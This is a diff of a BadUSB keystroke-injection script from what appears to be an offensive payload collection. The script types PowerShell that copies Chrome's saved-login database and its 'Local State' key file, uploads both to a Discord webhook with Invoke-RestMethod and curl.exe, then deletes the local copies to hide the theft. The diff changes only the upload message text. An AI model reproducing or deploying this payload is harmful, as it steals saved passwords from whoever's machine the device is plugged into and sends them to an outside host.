■ ■ ■ ■ ■ ■
BadUsb-Collection/Windows_Badusb/PasswordStuff/ChromePasswords/chrome_passwords_discord.txt
| skipped 15 lines |
16 | 16 | | STRING $hookurl = "webhook url here" |
17 | 17 | | ENTER |
18 | 18 | | DELAY 300 |
19 | | - | STRING function Upload-Discord {[CmdletBinding()] param([parameter(Position=0,Mandatory=$False)][string]$file,[parameter(Position=1,Mandatory=$False)][string]$text) $Body = @{'username' = $env:username; 'content' = $text}; if (-not ([string]::IsNullOrEmpty($text))){Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)}; if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}}; $sourceFile = $env:LOCALAPPDATA+'\Google\Chrome\User Data\\Default\\Login Data'; $outputFile = "c:\output.txt"; Copy-Item $sourceFile $outputFile; Upload-Discord -file $outputFile -text ":)"; Remove-Item $outputFile |
| 19 | + | STRING function Upload-Discord {[CmdletBinding()] param([parameter(Position=0,Mandatory=$False)][string]$file,[parameter(Position=1,Mandatory=$False)][string]$text) $Body = @{'username' = $env:username; 'content' = $text}; if (-not ([string]::IsNullOrEmpty($text))){Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)}; if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}}; $sourceFile = $env:LOCALAPPDATA+'\Google\Chrome\User Data\\Default\\Login Data'; $outputFile = "c:\output.txt"; Copy-Item $sourceFile $outputFile; Upload-Discord -file $outputFile -text "Encrypted Login Data"; Remove-Item $outputFile |
20 | 20 | | ENTER |
21 | 21 | | DELAY 1000 |
22 | 22 | | STRING $sourceFile = $env:LOCALAPPDATA+'\Google\Chrome\User Data\\Local State'; $outputFile = "c:\key.txt"; Copy-Item $sourceFile $outputFile; Upload-Discord -file $outputFile -text "Key-File"; Remove-Item $outputFile |
| skipped 1 lines |
24 | 24 | | DELAY 200 |
25 | 25 | | STRING exit |
26 | 26 | | ENTER |
| 27 | + | |